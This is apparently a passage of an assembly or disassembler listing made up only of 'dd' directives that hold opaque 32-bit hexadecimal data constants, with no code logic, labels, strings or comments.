dd 0F0A8C562h, 67A78Dh, 5236BB2Ch, 0B9CEF8FBh, 17F2AA01h
dd 730434B3h, 4080A2E1h, 69BABFAh, 84007237h, 0BFBD1239h
dd 0F1406Fh, 88471FFBh, 4FA3291Bh, 13755303h, 901AD724h
dd 0E9A69Eh, 719F2789h, 0E520B14Eh, 59B22900h, 0FF09176h
dd 0AA401683h
dd 9E3D8384h, 1EBC2DB8h, 29346100h, 0FBA26A2Ch, 88B80047h
dd 78FD4E3Ah, 74002699h, 0BC95B087h, 140B6Dh, 8B0F0AD8h
dd 0C565E204h, 5EB8191Ch, 3803D126h, 0C8F7C6BFh, 0F0EF7E76h
dd 90B4000Ch, 284C508Ch, 0D3002CA4h, 0CCF87FEBh, 13967552h
dd 0D81157h, 3817CA44h, 3A00A624h, 6E78F8Dh, 0B44C23h
dd 0F8E8F77Fh, 89B8C794h, 0E6B64A00h, 86DD520Ch, 0CBE0E3D3h
dd 94EC01EAh, 5CB9F90Fh, 8A40D497h, 8323CA00h, 0A84F6F1Ch
dd 5F8B76Ch, 0FC95E200h, 0EDF89047h, 711000B9h, 0F0653EFFh
dd 7076703h, 60EF9544h, 92D1D2B0h, 49F6E6h, 0A4728C16h
dd 2DF27B9Bh, 31023001h, 5632440Eh, 7A92C821h, 4B80FF4h
dd 0A9EECAE0h, 91397F46h, 6BE280EDh, 0E1D72E8Eh, 78B14864h
dd 43811900h, 0B90597B6h, 8E0092EEh, 0C24A152h, 204ACFh
dd 68D6E361h, 0A055AE9Bh, 0B4570700h, 33CD7DA9h, 3A030025h
dd 0D52FDBB0h, 3B00698Dh, 0FD6046ECh, 7C2AD7E9h, 21BF0099h
dd 0AE4CAC23h, 3000E2FFh, 39778543h, 795F4AEAh, 0B61A002Eh
dd 0BDDE7F1h, 2648687Ch, 0F4777E7Bh, 84510200h, 0B667D6CFh
dd 7FF3138Ch, 0C39E05ACh, 3B04800Ah, 2300BD1Ch, 0B709E5A9h
dd 20427Ah, 5CC6CB37h, 0D0192E32h, 80DECC38h, 0E8C0335Bh
dd 7E45643h, 8A10238Eh, 5C1140A3h, 1B0004ACh, 8443AEC4h
dd 0E726632h, 0A655ED83h, 0DD2973E0h, 457F3ABFh, 313C8A01h
dd 0B80A5D91h, 0FEF1D1FFh, 0F80619F4h, 302307D8h, 1ED8E7Ch
dd 0F4E44803h, 0A371A20Dh, 0B8BBA52Ch, 807C5001h, 0C0C6E054h
dd 3CB66F4h, 5933FDB4h, 0C4F8791Bh, 0B7036CA7h, 0DED635F1h
dd 9326D876h, 342300F8h, 0F2B29DFDh, 6C58ADA2h, 0F412168Fh
dd 0C2D4B802h, 0B80E641h, 24FCB8D2h, 2B4C7810h, 4E102900h
dd 3403EE7Ch, 417939B6h, 0D24DFE00h, 8AC58670h, 0EFE69C00h
dd 62156F4Fh, 82110FDDh, 2620F376h, 21BB3BB5h, 0B694C704h
dd 0A4D0B0EFh, 0FF75CDh, 0F5F15642h, 672D8ECh, 0C8625C00h
dd 1E8E1797h, 0FA1279AFh, 0EE800DAh, 6B5F1FCAh, 0E0749172h
dd 3B00BF7Ah, 4A70EC82h, 90EEFEADh, 3641002Ch, 0F45E2A12h
dd 0D49887C1h, 49C4D407h, 83C10C5Ah, 0CACD4FEEh, 76F81271h
dd 0E4A13C70h, 84069100h, 92DDAB34h, 7C4F8A0Eh, 0FC7F40DFh
dd 0DEB3FAh, 551BC7A5h, 6FF184AEh, 0BB54EF00h, 1134E581h
dd 127E71DDh, 73E57F9h, 0E0B417E4h, 0B931433Fh, 2BB6CA02h
dd 0E0B0D5ECh, 1371677Dh, 8EA10Ah, 5F4BF254h, 1A001D69h
dd 977EDC2Bh, 3A3356h, 0C920245Dh, 0B9B42D9Fh, 7AF37800h
dd 4F12C283h, 0BB3200CEh, 36D479Dh, 0E00EDEEh, 0EC9829BEh
dd 23F23F6h, 0E1E592FAh, 68CB010Dh, 754B5FE8h, 9C848700h
dd 2D7E833h, 0B0B548F5h, 82571000h, 8F796D08h, 966CF705h
dd 0D8904BFFh, 7E748789h, 0F5E90082h, 0C9105D33h, 8848A9B8h
dd 81AD25C5h, 2513E6A8h, 0C1277180h, 1BEDC5ACh, 190CE458h
dd 0B4789753h, 625DECh, 0F0D91210h, 0E26007C1h, 67970406h
dd 40526Ah, 7AA6F784h, 88B04746h, 0E4AC506h, 386D9Fh, 1C8F8341h
dd 90545FD7h, 5B1A750Ah, 1830B3E3h, 35BDA2h, 807F5E06h
dd 0E827AE42h, 0E28CAB00h, 3ED2847Ch, 96B09A1h, 4461262Ah
dd 458C4117h, 0CCE2C890h, 0C0F2100h, 50628A74h, 60D2F5DAh
dd 0C746ABE8h, 5084300Eh, 44789CA5h, 0E7773928h, 0E0496807h
dd 0B4D36665h, 0B000B588h, 0F65C3ED4h, 1C3C9CB7h, 743C08Ah
dd 1BC5B831h, 9ED0C800h, 7F1CA79Dh, 75A30393h, 5611221Dh
dd 0D54A4000h, 903CDD84h, 0A89A0CF2h, 0B1681C28h, 8E0AA377h
dd 0C42303E4h, 89149485h, 9CCDA443h, 36190012h, 9B0AB10Bh
dd 18000CC1h, 63894AF3h, 1CB3BFh, 1DAD0F86h, 0FA6C8B48h
dd 99843F01h, 5A834052h, 66009828h, 26459C2Fh, 0B49287A9h
dd 63ED303h, 0E038D59Fh, 11FB3DCh, 0FF904209h, 30555CC5h
dd 9629EDD6h, 14148060h, 3BA2F024h, 0C7CB0020h, 0B35DDA39h
dd 243822A0h, 809C3866h, 31D43EE3h, 1CF5EF85h, 0C3CF730Bh
dd 0AD939FEDh, 26C56106h, 1F83D18h, 740664Bh, 642AC2B0h
dd 1301E428h, 0AF97A1B3h, 3F4E8D1h, 0F47A007Bh, 0DD833C35h
dd 0F309B40Eh, 84235C41h, 90D013DBh, 9AE0B3h, 773B8129h
dd 3793D46Ah, 7E164203h, 0A7CE2757h, 0D6098A51h, 4CF8FECCh
dd 0C044EDA5h, 0F8A89C12h, 17F25E16h, 8C70AC2Ch, 0BC244B04h
dd 3B010E0h, 8C316A57h, 37B04046h, 7D16F199h, 800FB574h
dd 0DF3EC0CEh, 583BE57Fh, 0FC0F320Ch, 2460798Fh, 3A55F805h
dd 56A7BF0Fh, 7C47925Ch, 75E39C0Ch, 226080D1h, 8B7E01C9h
dd 0A78A3D6Ah, 0CA46F87Fh, 0CFDEA801h, 8FAFAC34h, 1E6496E4h
dd 0CE2B0226h, 7AC030CEh, 0AF199E32h, 0B25A4200h, 99F73C86h
dd 0DB6D105Bh, 9C404BC7h, 9676E4DFh, 0BA2C00B8h, 26C84E01h
dd 9F12FBBCh, 800833Fh, 657DBDCAh, 0CF7803D4h, 47E54C46h
dd 94B929B0h, 412FC200h, 611C2AD1h, 743B0017h, 50CA24E3h
dd 5800DB31h, 0D34CA434h, 77D406Fh, 0D50DC1D0h, 5E15609Fh
dd 1102F469h, 6843ADE8h, 65A4C034h, 0D13F01ACh, 38EB4C22h
dd 8EC1F8E9h, 0C369FF17h, 29119C00h, 6420CBh, 5C84AA6Dh
dd 83D7A866h, 129D6000h, 5E751855h, 94A2092Dh, 0B48BFC76h
dd 80DB7405h, 6AA31168h, 18BC7501h, 0CFCC7294h, 0F4488C40h
dd 0D8450097h, 5EEE01E8h, 0EBF0B563h, 60335000h, 0F49FDC74h
dd 2D0900CFh, 91FED6EEh, 1BE08CBFh, 86153C00h, 0A7ABACAh
dd 2C963D73h, 0F8F8ACh, 1E499B6Ch, 0B90127DDh, 54484AA1h
dd 40E689C5h, 1CC71B80h, 0C07C4D92h, 0B463ECCBh, 7212EA5Ah
dd 131FC8CAh, 8B744840h, 494CF758h, 50084BBh, 75A1A028h
dd 7200ACB1h, 0E4D5133Dh, 74A6D670h, 30277857h, 0FF31E7F4h
dd 0F301B5DDh, 8AC8E425h, 3604A95h, 389060h, 0A6265FB4h
dd 9FC40C9Eh, 0DA8DCD00h, 0B1AF05E7h, 0B5A0118h, 0D40A5BB0h
dd 4E78C419h, 3CE93F00h, 9742D0F4h, 7AFC000Dh, 0EC362F4Dh
dd 0BC008FD1h, 0CCC22B19h, 6CC424h, 51A843F1h, 0DD5847D5h
dd 0E5B19F01h, 8590575h, 0E348020h, 80395A56h, 0A7559CA0h
dd 58005C82h, 0E3654D41h, 7FFB1F25h, 33427372h, 0CEF0D235h
dd 91B0D0A4h, 0F2003010h, 36B1EA8Eh, 0B5E4D9h, 8816CC4Bh
dd 0D23E7C29h, 0E90988A8h, 8F02EB75h, 0C63803F0h, 0B88468B7h
dd 0BED2021Dh, 0B19EB2AFh, 655A5860h, 0D66E1A00h, 60458C2Fh
dd 9218017Ch, 4A214EF8h, 2D7320A1h, 0B3C5BB00h, 638741CEh
dd 67E23FEBh, 0CF584237h, 0F080FC00h, 9E006F1Bh, 759319F7h
dd 13DE678h, 5D43AEEEh, 0F406319Fh, 5501402Ah, 0F3965AFEh
dd 0A8408C5Bh, 49A036h, 0BF0D98A2h, 7D74D020h, 88F9F830h
dd 614DD20Fh, 0CF5DE014h, 3689DC53h, 0B1296402h, 66828AD7h
dd 94410100h, 0AA5575E6h, 0DE4474F7h, 8A427B18h, 72E02CB0h
dd 0E584015Eh, 0A3121394h, 819DC8C2h, 83795438h, 4EADDCECh
dd 0B5D1E0A1h, 2C1DE250h, 8FE492h, 635F597Dh, 0E23BCAD0h
dd 7F2B8E7h, 9AB94334h, 809DF913h, 2CEA9BE8h, 2B25678h
dd 0E63719A5h, 0DED7E8A0h, 8F0FA702h, 80B25992h, 2CFD47F1h
dd 2A820F28h, 79621574h, 0F8E03EC0h, 2B0086CDh, 51C8BDDFh
dd 1D992AC7h, 87D29AABh, 0F0D30823h, 0CAC62262h, 5B94CB07h
dd 31E18761h, 0D428A02Fh, 9E4DFB01h, 0F0EFC35Ah, 0C8097612h
dd 0CC4688h
dd 285D3BD2h, 755616A8h, 0DD7040AEh, 65164053h, 9B71E100h
dd 35A62458h, 0D737007Dh, 858DFFE3h, 49003957h, 0BD3B63E9h
dd 4B3167DDh, 0A8580035h, 5B3F186Ah, 0D4FD5F50h, 3158E700h
dd 544795F5h, 94EE0040h, 939D9C4h, 2F050FAEh, 1C866865h
dd 1C3887C6h, 40DBA57Ch, 0FB8CFAFEh, 81007434h, 0C8D91E0h
dd 76B5FEAh, 64E249B9h, 1F783347h, 0FD9462F8h, 7A413Fh
dd 4DC68D39h, 0D6B153h, 3F8943BCh, 8E4FE5C1h, 0BEA74400h
dd 54E8DF0Eh, 97460103h, 0CCFFA0B8h, 80844720h, 22098C24h
dd 883E4Dh, 19167EB6h, 983306h, 0B89D97C4h, 41FF5DAEh
dd 8D7C4A01h, 199FBFABh, 9E2C2760h, 48F1895Ch, 0C425F600h
dd 0B403B829h, 754F7CD2h, 0E067E861h, 0F82A02EBh, 84035586h
dd 276F5840h, 0BED80900h, 0ED3D69C3h, 0CA50022Eh, 62F82D38h
dd 28DB5C40h, 0F1E98409h, 0A92C4082h, 2C0B001Bh, 47765B0Ah
dd 9E006C16h, 0E7F80F58h, 1704EA4h, 0EB54ADBCh, 0C42B5FA7h
dd 0D20928D7h, 797DA2h, 0AB578B38h, 247002EFh, 210508D1h
dd 91E2D8E8h, 0F580B8B1h, 250C332Ch, 4C42002Fh, 0D4A720A1h
dd 0FB1881EEh, 69803F37h, 2A210014h, 0B8C666BEh, 4A1C9348h
dd 0E0404E5Eh, 65182B29h, 0E6707Eh, 0A7D81DCEh, 2688F683h
dd 1C48E0Ah, 350EF466h, 7972E0E0h, 3ED630D2h, 2E80C66Ah
dd 0C8AC1AC7h, 7C4F6452h, 0D00B2C00h, 2725817h, 13049747h
dd 7048C8A0h, 7107B37Bh, 0D9DD2EC5h, 30C0B655h, 7FA4FE6Ah
dd 13800707h, 1EF1E590h, 672490B7h, 5AF6B383h, 6AC23500h
dd 45FD9DD3h, 0B0F0ECD5h, 44290509h, 407B1678h, 0DCDA2BECh
dd 504A32F8h, 303F1800h, 85B91h, 6918FDCBh, 0A063B25Ch
dd 80D4113Ah, 0C2EFC6A5h, 56E8BE8h, 0A2D3C1Fh, 5314F43Ah
dd 4186D401h, 0F5340361h, 0CD17E8h, 24FEBF19h, 476D982h
dd 67783F03h, 90656F12h, 1AF6ABDh, 9D254EEh, 0F819D046h
dd 4C0081A7h, 628C364Fh, 0FE07C510h, 0CD8A259Bh, 0B23BB880h
dd 720013F0h, 0DD6DE8FAh, 7329Eh, 0A4265223h, 3C3BEAA9h
dd 17688400h, 0E00259D6h, 0A0DF0075h, 3E2F0DCCh, 1901A812h
dd 1B9DF3F1h, 0C040958Bh, 74CCD1C0h, 289C131Eh, 0C074878Fh
dd 48AD94D2h, 64D76607h, 90476E3Bh, 0A8616A07h, 1080763Ah
dd 89924665h, 8000980Ah, 60B442A7h, 0E406A15Eh, 0CBC001E3h
dd 0AC1834A8h, 0D97181D5h, 0D43E42CCh, 18E850EAh, 88D81261h
dd 0BA0045C7h, 3513416Ah, 0F6390D27h, 0FB4600B4h, 2B6FBD8Bh
dd 0F31FEDB7h, 1D44A9BAh, 0D8C483C0h, 10E35C48h, 6F9B006Eh
dd 73B0FA99h, 15412582h, 94CCBC40h, 0B4098B00h, 6B8AEADFh
dd 0B7B90083h, 8DF495AAh, 0C02AE90h, 75B6BF8Bh, 6CC1C0B4h
dd 3C7F00CBh, 3B098FECh, 70388F5h, 469DBAB2h, 6CCBD0C5h
dd 6D6000B3h, 0B8E0E132h, 55005AA8h, 0F85BF7CAh, 9D3B9Bh
dd 3372647Bh, 0A43ED2ACh, 0F59F4900h, 6593F0ABh, 69BB07C6h
dd 0E01F568Eh, 0BF0E7DC0h, 3FEE5D00h, 5F724185h, 38905C9Ah
dd 0E2A4AF3Ah, 1C3184A4h, 7F7C434h, 9BD4C080h, 0C0C97424h
dd 0A753612Bh, 0CF54BDF8h, 4522670Ch, 10DB4350h, 0E19F5857h
dd 24661B8Ah, 0A1049311h, 2547344h, 90B446C2h, 92110FECh
dd 3688A060h, 0BAF40992h, 60AE314Bh, 3886FA8Bh, 784450F0h
dd 2FE318BBh, 0CF1C3952h, 9E7BA93Dh, 10FA468h, 78B0FA6h
dd 47C12BCEh, 718F99B4h, 0B60581C1h, 80080F96h, 40AEA104h
dd 0E3E8D29h, 0B64E01B5h, 99B0FE8Ah, 4F798034h, 52FFE124h
dd 3DEB24A7h, 96D68028h, 683B8D88h, 747343Eh, 33CE5302h
dd 0B6985693h, 0ED710029h, 9C015E9h, 0D832CFCCh, 7A6A0879h
dd 0E9EF0040h, 36934529h, 0ADE421B1h, 0B410A900h, 48C53B87h
dd 0CD5B58ACh, 62C3430Ah, 0BD8803B4h, 183B9C18h, 0CB9CD028h
dd 60A32314h, 0AA441010h, 2E518963h, 36991CA0h, 61D811C0h
dd 5CB92B8Dh, 0BB194365h, 0BF3F086Dh, 8D598F21h, 0DB70C017h
dd 0FAB122F8h, 304000D7h, 50A48147h, 4C00D6CEh, 3FDA6298h
dd 0E388A31h, 0D5107A1h, 72971CC3h, 3C9A9018h, 0C12189h
dd 0A0C7230Bh, 97E8F880h, 0BAB1DC00h, 0C06F6A5h, 0C08A010Fh
dd 0F4B72CD6h, 805880D9h, 0A16A899Bh, 2F32007Ch, 0B6A0AE6Fh
dd 6200ED0Ch, 0E4980E08h, 0E488FC70h, 28A4275Eh, 52000F58h
dd 30BCBE03h, 0FCF7FECCh, 1E590046h, 0F5E3E299h, 0E0756DCh
dd 0D02EDEA3h, 0F6823C20h, 0D99300B2h, 52E76966h, 0CD1D23C0h
dd 1C7F1689h, 8CCEDD2Fh, 9E5B07DEh, 5C1B8A90h, 0AE7000B0h
dd 6279F74Dh, 5A03BC8Bh, 7E097B61h, 0EA43C810h, 818C0087h
dd 2DD70598h, 0E0F389Dh, 0A07D47A2h, 0ACAA7A73h, 29F11CBEh
dd 5D7B8364h, 0CFA72402h, 0B8AE0F23h, 20C3AFF9h, 7900D186h
dd 428D9992h, 14E6922h, 516CFED9h, 20A76A57h, 75EAC6FEh
dd 0FC083D00h, 24450F76h, 95AE00BEh, 3173A89Ah, 0D5007EE9h
dd 0D3E2B128h, 263EE42h, 1C672EFh, 0D4E090C0h, 0C1006775h
dd 0CD9A6F82h, 0DEC4A0h, 222CFFB1h, 2AFD746Eh, 5C123700h
dd 0B41325Dh, 0B8D113EBh, 948700A7h, 0F6DF55C3h, 7AA8B3Eh
dd 0A2068A36h, 93E85980h, 0BCD501FCh, 6280DDB1h, 33C9E4C1h
dd 4121BE00h, 8DD68B11h, 22300099h, 3BEDA9A5h, 0E6006373h
dd 2CF802C6h, 17057E42h, 0DC6D1Fh, 0BEA3A45h, 0DB00A538h
dd 13A9B6ABh, 772BA79h, 56977BE7h, 336ED015h, 6300F7B4h
dd 8AEF02C7h, 0EFF0A1Dh, 2DCDE060h, 25FB3840h, 0BBEE79BAh
dd 7CBF2C00h, 0D719E8AAh, 8E3439A0h, 51EC200h, 0BB574A79h
dd 63736324h, 0DCE4CD00h, 60AF18CFh, 665010A0h, 4101CE79h
dd 954E9CC1h, 1BEC238Ch, 93D70E09h, 4C60FE83h, 5C05D1B3h
dd 0B931181Ah, 8A088170h, 17708BBFh, 0D3B700BAh, 0F736C2BCh
dd 82007CCDh, 8E4ED750h, 6DFE4Fh, 6AB3B8D6h, 37AD749Dh
dd 0C6184A02h, 0E039C4D9h, 0FE82B278h, 4E080086h, 12419EF4h
dd 0BB01283Fh, 7232AF29h, 0A3403DF6h, 46D319h, 1DA9B796h
dd 45B2529Eh, 99FCB100h, 4CF3EA42h, 0FED43FF7h, 87D9D880h
dd 725126B8h, 89E7C200h, 658EB4C7h, 38DA004Bh, 2693974Ch
dd 8D0034A1h, 75122A83h, 91166Dh, 843DF1CDh, 74615CB6h
dd 0CD4E803h, 1DE6DECBh, 4C39D848h, 455913EEh, 6E97500h
dd 0F4EF3044h, 4837EE03h, 9A13A9B7h, 0E0370E81h, 5B957981h
dd 75E8800Fh, 937C25B8h, 0C53400FFh, 0D305F2DFh, 6F020ED0h
dd 0FE11CEEFh, 44B883A9h, 0C970E180h, 82AF7180h, 0E9A6D937h
dd 1CD4238h, 0D0165639h, 30E076DFh, 94BE0E80h, 0EB00B9ABh
dd 0C49DE63h, 0B029D0E3h, 5C453E01h, 53D12469h, 0A4008445h
dd 0DC67738h, 7C324874h, 0C3DD0073h, 0C2AA72F6h, 0E6036857h
dd 1C3F05F8h, 0E03D8B69h, 0C764BBh, 9F457D0Ch, 0CBA94A4Fh
dd 615D8A03h, 0AA5E2D77h, 691C40A8h, 1AD90017h, 0D17A8C21h
dd 6A009D4Ch, 0BBBFA29Bh, 7730C5EDh, 785E482Bh, 0F0735300h
dd 94776EBCh, 0CE2D4D09h, 0D845003Bh, 7804F84h, 0F0A578Bh
dd 0BDAA2036h, 714C61E2h, 9A057C0Ch, 6AABB748h, 760AA402h
dd 383D06AAh, 14CF593Bh, 0C471A5h, 1DBFCABh, 5A5388h, 0CC1E1D68h
dd 328C510Fh, 0ECFBE500h, 852F41DAh, 0A6090702h, 80A7ADBAh
dd 0B7107957h, 6B58EB01h, 5AC0864Ch, 16A3BAECh, 73DDDBFh
dd 707D9635h, 4D54B161h, 1A6CBD00h, 0D8145B36h, 0EEE8002Fh
dd 38729B39h
dd 0DD249CF1h, 0CF00A4FAh, 61E3D2DFh, 3FD475C1h, 0C7037E78h
dd 9FB48737h, 407991B0h, 0ACC6D4A0h, 2700F8E4h, 0CFA0E7D9h
dd 0EF4F8Fh, 1718EBD5h, 37F08259h, 0E281CA00h, 412B26EEh
dd 8DD700B1h, 438F916Dh, 820339D6h, 7EA62792h, 4D2100C1h
dd 0ED1B848Dh, 0EB0181A2h, 19AFAB85h, 503014CAh, 49AD00EEh
dd 5E922DAAh, 0B2486381h, 215800ACh, 898F31B4h, 0FCE9389Bh
dd 161CB800h, 5876FB29h, 0D4AC7000h, 0D6463F9Eh, 0F2F11C63h
dd 18721821h, 0AF00E436h, 9A6B8CEEh, 43E6423h, 2542353Dh
dd 3C0C8065h, 68001058h, 0CABEE6FFh, 0A25680h, 0F4AF499Bh
dd 84B4531Dh, 990039EEh, 300BB831h, 0BD36BBh, 517CBEB3h
dd 0E229D779h, 1DE0A900h, 0AD5D8D2Dh, 0A14BB0C8h, 31EDA10Ch
dd 920B803Bh, 2F0C3EB9h, 70FE240Bh, 4725Ah, 2B1E72DEh
dd 0F2C34D98h, 0B85D100h, 7D9469FAh, 0F5A73C5h, 0F35BC1A0h
dd 7F608DA0h, 0B707797Ah, 1E27C340h, 68BB2991h, 989FACC5h
dd 28D4C167h, 606FBFEFh, 6C064174h, 0F3892718h, 21F90111h
dd 0BEF06AD4h, 5134C43Eh, 8681D91Dh, 692DB800h, 90A305A5h
dd 851E0070h, 0A87FE4EBh, 0E902FECDh, 0A28250FDh, 0DE8048ACh
dd 469348F3h, 3B74284Dh, 0E400CA1Eh, 4EAEF511h, 0E15C1C21h
dd 0AA85006Ch, 35A2C4EAh, 637738h, 0DA267C04h, 7D3A201Dh
dd 52AE8097h, 67FE1DBh, 94F18F5Fh, 4F0F3828h, 0A07D6A23h
dd 66DAD316h, 0F4D80071h, 44C921AFh, 728103Ah, 0B850B09Fh
dd 300A1EB8h, 0A53F7F74h, 0AF84E800h, 171FB85h, 0C6C2C7B8h
dd 0FCA6CBB7h, 7E00999Eh, 198CF088h, 9AB044A0h, 9ABE00C8h
dd 29F7BA0Eh, 8A003A31h, 0DD63B1ECh, 9C72AD4h, 0E3B76D71h
dd 0AC20810h, 44725Ch, 0CA6FB27Ch, 1E1F8C5Fh, 0EB7679Fh
dd 9E0AE71h, 1C806EECh, 0E600DD7Eh, 58BBB376h, 0DEDF40h
dd 0C23AD068h, 93726E99h, 0B849420Bh, 80FD0939h, 0C4A2CCD0h
dd 67570037h, 2920E925h, 1CFCA78Eh, 7F0F45F0h, 0A39E797Eh
dd 0C3FF7D57h, 9D498889h, 1DF80722h, 0C0E1DCBAh, 9857C647h
dd 0A0857404h, 0F5402DD5h, 0BF3DD81Ch, 0F3DF4200h, 0AF726962h
dd 0B9250E1Eh, 0B1E0CC82h, 0CD3E27F6h, 464FAE00h, 4B3B2645h
dd 6048585Eh, 805C111Ch, 0AE7B2E1Ch, 1F0025A1h, 0AAD7C89Dh
dd 0F8CA62h, 0B5F07438h, 0AB16FD86h, 0BDFFBE01h, 0DB40F158h
dd 5705118Fh, 0ACADEC02h, 20A506h, 24C6DB04h, 205701A8h
dd 3431BF00h, 583D7F70h, 0F835F645h, 0D1F50925h, 4C07B1A2h
dd 3F20D01Bh, 6F0105Eh, 1FB5716h, 4FADA300h, 5A96416h
dd 2ADD5560h, 0AA84177Bh, 7C886718h, 4AD000B7h, 0BB0B5CD8h
dd 0B4034F79h, 21859472h, 0E6ED8008h, 93300286h, 38D4F9F0h
dd 0AB81D380h, 5B0019DFh, 2E31AF2Bh, 0AA55Dh, 0A1DB28F3h
dd 7CB7B939h, 9E6FFC05h, 0DF0FDF8Ah, 3E678086h, 3C16E388h
dd 8004CAAh, 0AFE25DFFh, 29008297h, 0EB72F40Eh, 958420h
dd 7AF0DF49h, 0BEAEE638h, 0BCB17600h, 0AAC550F8h, 4E79DEh
dd 0BD556574h, 3539F1A0h, 2C0B66F4h, 80EF7BA1h, 1605EBA5h
dd 0C3CC002Eh, 9EE86CDDh, 1AE07227h, 39293Bh, 9A98034Dh
dd 7F38FE17h, 37A301EBh, 51F5BF05h, 0AE94469Dh, 6EC1F400h
dd 3620801Bh, 86B6632h, 590021CAh, 8C8C18Fh, 0A438773h
dd 37A22749h, 0F6E580B4h, 9A921823h, 0DCFA6101h, 4681C6A7h
dd 5D3060C2h, 0E549C0CDh, 7F57C880h, 1D6F58h, 0C466462Eh
dd 547840h, 683D0DAAh, 28DC1F77h, 0AC3950D8h, 0D48E0FADh
dd 8101611Ch, 91A4BAD3h, 0E280EBC9h, 0F01B68C1h, 5FCE448Ch
dd 3CC1FD01h, 3B0529D6h, 0A55C180h, 62CE4CE9h, 0E8AA171Dh
dd 0D081C480h, 7464F8ACh, 950A80ABh, 3CF5630Bh, 55CF8368h
dd 0AE083778h, 638EB021h, 0E000D5C8h, 0BB1B4B91h, 0DBDA95h
dd 0A9E5771Ch, 0A34637B1h, 184D448h, 591A8515h, 54F1B729h
dd 0EE6F670h, 75167ACEh, 0B809BA0h, 477C8676h, 80376B3Eh
dd 9065BED5h, 67CF4Bh, 0C9687DFDh, 2D94D40Dh, 46162600h
dd 0B128640Bh, 0D1E003AAh, 7CC24323h, 1FDA9CA0h, 54D8FA00h
dd 0E6B3B0F5h, 0B7083AE2h, 9A21D075h, 84ACD900h, 0BF56A0A2h
dd 26F85558h, 0E502BAF8h, 0C0764297h, 0E8992B8Fh, 3C23007Fh
dd 16F7B751h, 471903CDh, 8D08A51Fh, 0C95F2180h, 0CC0275BCh
dd 0A0A92A00h, 138C308Fh, 92D8CE48h, 3C80C32Ch, 6F936248h
dd 0AA7A0039h, 6614788h, 5997E731h, 17600839h, 88929921h
dd 0ECA603F6h, 55F51FCDh, 0A0EF0588h, 0E21AC319h, 51B29CB0h
dd 3D30A6B8h, 16FB08B7h, 8164196Dh, 0BCD55340h, 0E800C47Eh
dd 0CF49195Eh, 0C7962692h, 0C3A13F21h, 5D0E659h, 0C706554Ah
dd 0B5979348h, 1D9F0378h, 0DF34390Ch, 7ABAF3E0h, 7BC4A0A7h
dd 0ABA39660h, 0D8006590h, 2A5DB439h, 0F7E061h, 0AD7A0285h
dd 0EF66DF9Fh, 0D0108067h, 0E2B3C270h, 0F68A0005h, 0EDB046CCh
dd 4F1EC34Bh, 6E47F44Dh, 8C901081h, 1E67BC9h, 598086E3h
dd 0EDB262ACh, 373CDCFCh, 0FE25C200h, 648EE169h, 654E3B02h
dd 0C026621Fh, 6804C542h, 0AF00FCDEh, 0C3B79681h, 3EA29458h
dd 0B5035E8Ch, 82597AB0h, 3FE01C82h, 9F00661Bh, 0CCBB79DDh
dd 3019057h, 0C0313764h, 1AA615D8h, 0E56FD003h, 0B860845Bh
dd 0E3C766h, 0EC190A7Fh, 0F521A8EBh, 49104E1Dh, 0D0EF1033h
dd 6C75A28h, 0CEAC87A0h, 506708B8h, 28C08E21h, 79C59Bh
dd 0B24F64D3h, 9EF32E38h, 42004C77h, 0D126D2BCh, 0AD70AAh
dd 0DFEB532Fh, 0A77EE691h, 65484F67h, 0A3BF6C0h, 3859C058h
dd 79B9B041h, 52479700h, 29C5EFD4h, 16750186h, 0D6F4CE0Fh
dd 0BA6E60ECh, 0A40258A4h, 40C75E28h, 1053198Ah, 78289C82h
dd 369F2DDh, 5E9E33D8h, 49D8B886h, 2F07A22Ah, 0F6D9466Ah
dd 0F80E40CEh, 0C67A2C6Ch, 8E0A641h, 6B454F00h, 8B86BC4Eh
dd 0C6840021h, 2592F199h, 65F4790Ch, 0C004EA00h, 0D9E89319h
dd 1D95B83Bh, 3936EDE4h, 6ACE5900h, 0A7C627C1h, 590CFA30h
dd 0E850F5h, 77D20DB7h, 34DB5A38h, 8212013Ah, 0D83C86AAh
dd 0A89CA03Fh, 74D0F8A0h, 3D129A7h, 0AFD900A8h, 24F47ED5h
dd 8B31DC00h, 26A4CF34h, 0D4600BBh, 0FEF014ADh, 68A0A7A8h
dd 0EEF0C411h, 0B4F38200h, 0F7EA95Ah, 8B5D0120h, 3092A18Ah
dd 0B56180AAh, 0F0944DF9h, 0F26F0073h, 0BDC6C159h, 53032C65h
dd 6CD8D217h, 702FE095h, 96773122h, 804B0B38h, 0F047DB9h
dd 0D5B276h, 35F92F1Ch, 89DDEA16h, 0E8068A76h, 3F0BB5F2h
dd 93F631h, 4132808Eh, 4BE206B2h, 8D3448h, 40D3C670h, 31995BA0h
dd 0D8D1E8BAh, 6DA850F7h, 5D0080BDh, 20155F5Ah, 7B30C371h
dd 76A43B9Dh, 0EDD27780h, 1CF87F2Ah, 8021BE3Ch, 3056362Ch
dd 67EC9EEh, 0D43525E5h, 0C600D08Eh, 6F38C8DEh, 12B9CFBh
dd 0DDB064A6h, 0E048ABECh, 0A3E0B49Dh, 0CF5AB100h, 70E15ED4h
dd 236C11F3h, 5B240D41h, 0E0EBA164h, 0C0FFA6h, 34A30C22h
dd 61E64DC4h, 10B89F54h, 0A9393A60h, 0C09CB33Fh, 0CA7701F2h
dd 5100068Bh, 3E41EC05h, 0B912CFh, 1F203423h, 0EAE5D4A8h
dd 5F2442F3h, 0A90CB320h, 0F04800BDh, 0B59590A0h, 0EF1D6BD8h
dd 364632B7h, 0F8A153D7h, 4D7B00EAh, 0BBCE1862h, 0E2640BB6h
dd 33816649h, 0A9C8CF10h, 4BEE0058h, 2CBDDD69h, 0D4009FC7h
dd 9C0FDCF5h, 0FA5974Ah, 83A0FD8Dh, 44D51283h, 6852C980h
dd 3B1AFF00h
dd 54559DE3h, 0D604A7E4h, 0B9CAE70Fh, 0B708356h, 0F5D07DEAh
dd 0D34CE4h, 4AB4A445h, 0CFA76754h, 700D840Bh, 28390CDCh
dd 0B0604465h, 3E3D608Ah, 82840F5Dh, 0A820CB63h, 6BD63435h
dd 0A6E8C500h, 61998C90h, 94290FC6h, 9241DCh, 750976E4h
dd 0B70EE7CEh, 0FC9D882Ah, 7D95DF80h, 7B5245h, 0D821F889h
dd 9FB1320Eh, 0B9478A0Eh, 0A5C16039h, 222C38h, 0E3CEBD0Ah
dd 0BF583607h, 0B6FEF600h, 745904A6h, 84F2014Ch, 642AE16Eh
dd 0E4DAC5A4h, 2C004DC6h, 8FBAEB5Dh, 1FDBFA34h, 405CE609h
dd 906665ECh, 740789E7h, 5655BE45h, 0A0B87373h, 82787Fh
dd 1D2C638Bh, 39B3113h, 1A5AE000h, 17097CEFh, 4BC30723h
